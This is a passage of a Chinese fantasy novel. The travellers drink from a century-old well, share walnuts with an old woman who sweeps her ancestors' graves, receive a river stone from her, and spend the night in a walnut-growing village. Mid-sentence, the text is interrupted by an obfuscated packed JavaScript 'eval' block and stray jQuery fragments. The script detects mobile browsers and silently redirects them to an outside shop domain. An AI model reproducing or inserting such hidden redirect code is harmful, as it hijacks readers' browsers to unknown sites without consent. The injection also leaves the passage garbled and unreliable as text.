“因为守这件事情本身，比守住什么更重要。”格蕾塔的手在红栎的鬃毛上轻轻拍了拍。“主教说，人活着要做很多无用的事。念经文是无用的，神不会因为人念经文就改变什么。烧香是无用的，烟升到天上就散了。但人还是要念，要烧，是做给自己看的。让自己知道，我还在做。”
流栖灯把手伸-进风里。风从稻草人的袖子穿过，袖子晃着。她知道守不住，但还是守。
她从口袋里拿出白麻布。布已经画满了，她在稻草人这一页的缝隙里添了一行小字：“守这件事情本身，比守住什么更重要。”
中午她们在麦田边的一口井旁歇脚。井是老井，石砌的井台被磨得光滑如镜。井边立着一块石碑，碑文被风雨磨蚀得厉害，但还能认出来——建井的年月，捐井人的名字。落款是一百多年前。和麦田井一样的石碑，一样的年月，一样的磨蚀。格蕾塔摇着辘轳把木桶放下去打上水来。水是清的，凉的，甜的。和一百多年前一样。
四个人坐在井台上喝水。井台被太阳晒得温温的。流栖灯喝完水用手背擦了擦嘴。“一百多年前的人，喝了这口井的水。她不会知道一百多年后我们也会坐在这里喝。”
“她不知道。但她还是挖了这口井。”格蕾塔把水囊灌满。“主教说，人这辈子做的事，大部分是看不到结果的。种一棵树，自己吃不到果子。挖一口井，自己喝不了几年。修一条路，自己走不了多远。但还是要种，要挖，要修。因为总有人会吃到果子，喝到井水，走到路上。那个人可能是一百年后的人，可能是你根本不认识的人。但她会坐在你种的树底下，喝你挖的井水，走你修的路。那时候她不会知道你的名字。但她会想，这棵树是谁种的。这口井是谁挖的。这条路是谁修的。”
艾莉西亚把水囊的盖子拧紧。“她会想吗。”
“会。”格蕾塔站起来把木桶挂回辘轳上。“她坐在树底下喝水的时候，会抬头看看树冠。那时候她就在想。”
流栖灯抬头看了看井台上方的天空。灰白色的天光正在变薄，透出后面很淡很淡的蓝。没有树冠。但她还是抬头看了。
下午官道穿过一片坟地。坟地在麦田尽头的高坡上，坟头一个挨一个，上面长满了干枯的茅草。茅草是灰白色的，在风里摇着。坟前立着石碑，有的碑文还清楚，有的已经被风雨磨平了。坟地边上有一棵柏树，柏树是墨绿色的，在灰白色的天地里是唯一还在绿着的东西。树冠收束成塔形，像一支倒插在地上的毛笔。树下的石头上坐着一个老人。
老人穿着灰扑扑的棉袄，头发全白了，编成一根细辫子垂在背后。手里拿着一把扫帚，她在扫坟，她把坟前的枯草和落叶扫成一堆，然后把扫帚放在膝盖上坐着，看着坟地。看到四匹马经过，抬起头。
“过路的？”声音被风吹散了，但听得出是很老的嗓子。
格蕾塔勒住红栎。“过路的。往帝都去。”
老人点了点头，用手在旁边的石头上拍了拍。“歇一脚。坟地边上风大，但这块石头背风。”
四个人下了马把缰绳拴在柏树枝上。阿灰低下头闻了闻柏树根，打了个响鼻。柏树的气味是苦的，辛辣的，它不喜欢。但它还是站在树下，尾巴慢慢甩着。
流栖灯在老人旁边的石头上坐下。石头被柏树挡着，风确实小了很多。从这里看出去，坟地、麦田、官道、远处的村庄尽收眼底。“您在这里扫坟。”
“扫了二十年了。”老人把扫帚横在膝盖上。扫帚是竹枝扎的，磨得只剩短短一截。“这片坟地里埋的是我们村的人。最早的一座，是我祖母的祖母。我小时候跟着我祖母来扫坟，她指着那座坟跟我说，这是你祖母的祖母。你以后要记得来扫。我说好。”
她把手按在最老的那座坟的石碑上。石碑被风雨磨得几乎平了，只剩下最深的几道笔画还能认出是一个姓氏。“我祖母走了，我母亲走了，现在轮到我。我扫了二十年，还能扫几年。我走了，不知道谁来扫。”
流栖灯看着那片坟地。坟头一个挨一个，茅草在风里摇着。每一座坟里都埋着一个人。每一个人都活过，都吃过麦子，喝过井水，走过官道。现在她们躺在这里，让茅草盖着，让风雨磨着碑文。“没有人来扫，会怎么样。”
老人把手从石碑上收回来放在膝盖上。“不会怎么样。坟头慢慢平了，石碑慢慢倒了，茅草慢慢长满了。过几十年，就看不见这里埋过人了。但看不见归看不见，地底下的人还在。她们活过，这件事不会变。”她从棉袄口袋里摸出几颗核桃，放在石头上用石头砸开。核桃壳碎裂的声音在风里很脆。她把核桃仁分给四个人。核桃仁是皱的，放进嘴里嚼，油脂香从牙缝里渗出来。
“我祖母的祖母，我没见过她。但每年扫坟的时候，我坐在她坟前砸核桃吃。她吃没吃过核桃我不知道。但我吃的时候，就当是她请我吃的。”老人把核桃壳拢成一堆放回口袋里。“扫坟又不是为了让她们记得我。是让我记得她们。”
流栖灯嚼着核桃。核桃仁在嘴里慢慢化开，油脂香一直走到喉咙里。她从口袋里拿出白麻布，可布已经画满了。
老人偏过头看了一眼布上的画。她的眼睛是灰白色的，和白水渡送孙女上船的老人一样——年纪大了，瞳孔褪了色的灰白。“你这块布，画满了。”
“画满了。从北边画到这里，画了一路。”流栖灯把布举起来对着光。满布的人和事在午后的光里是灰黑色的，炭笔的线条安安静静。
老人从棉袄口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646933|203862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
袋里摸出一样东西放在流栖灯手里。是一块核桃大小的石头。石头是青灰色的，表面被水冲得光滑，石面上有一条天然的白色纹路，弯弯曲曲的。“白水河里捡的。我年轻的时候坐船往下游走，在河边捡的。捡了很多年，这颗最像白水河。我走不动了，你带着。替我去看看白水河下游的水。”
流栖灯把石头握在掌心里。石头是凉的，河水的凉。石面上那条白色纹路在午后的光里微微起伏，像白水河的水纹。她把石头放进口袋里，和白水渡老人给的那颗青绿色的石头放在一起。两颗石头在口袋里轻轻碰了一下，发出极细微的声响。青河的石头，白水河的石头。一条河的上游和下游，在口袋里相遇了。
傍晚她们在坟地后面的村子里过夜。村子叫柏坟村，因坟地边那棵柏树得名。村里人听说有从北边来的客人，端了核桃来——核桃仁炒青菜，核桃粥，核桃酥。最后拼成了一桌。村长是个矮胖的妇人，笑起来脸上有两个深深的酒窝。她给每个人碗里夹了一块核桃酥。核桃酥是核桃仁和麦芽糖做的，擀成薄片烘脆了，咬下去咯嘣一声碎在嘴里。核桃的油香和麦芽糖的甜缠在一起。
“我们村种了两百年核桃。”村长自己也拿了一块咯嘣咯嘣地嚼着。“最早来这里的是一个被婆家赶出来的年轻女人。怀着身孕，走到这里走不动了，在柏树底下生了个女儿。母女俩靠吃核桃活下来。后来女儿长大了，招了个媳妇，生了孙女。一代一代，种了两百年核桃。”
流栖灯把核桃酥掰成小块泡在核桃粥里吃。核桃粥是糯米和核桃仁一起熬的，熬得稠稠的，米粒和核桃仁都熬化了融在一起。粥是乳白色的，上面浮着一层核桃油。“那棵柏树还在吗。”
“在。就是坟地边上那棵。”村长往窗外指了指。暮色里，柏树的墨绿色树冠从村子的屋顶上方露-出来，像一支倒插在地上的毛笔。“那两姊妹后来就埋在柏树底下。老辈人说，柏树本来是两棵，一棵代表母亲，一棵代表女儿。后来两棵长成了一棵，分不出哪枝是母亲哪枝是女儿了。”
夜里流栖灯躺在柏坟村的客房里。月光从窗洞照进来，落在枕头上。窗外远处，柏树的墨绿色树冠在月光里是黑色的剪影。她把白麻布从枕头底下摸出来摊开。布已经画满了，连缝隙里都填上了字。她翻到柏坟村这一页，在核桃树和柏树的缝隙里添了最后一行小字：“两棵长成了一棵，分不出哪枝是母亲哪枝是女儿。”
她把布举起来对着月光。满布的人和事在月光里是灰黑色的。从绿溪镇画到柏坟村，从初秋画到深冬。纺织妖精的节点在布角上亮着，银蓝色的，照着所有的人和事。她把布叠好放在枕头边。节点的银蓝色光透过布面，在黑暗里是一小团温润的亮。窗外柏树的影子投在窗纸上。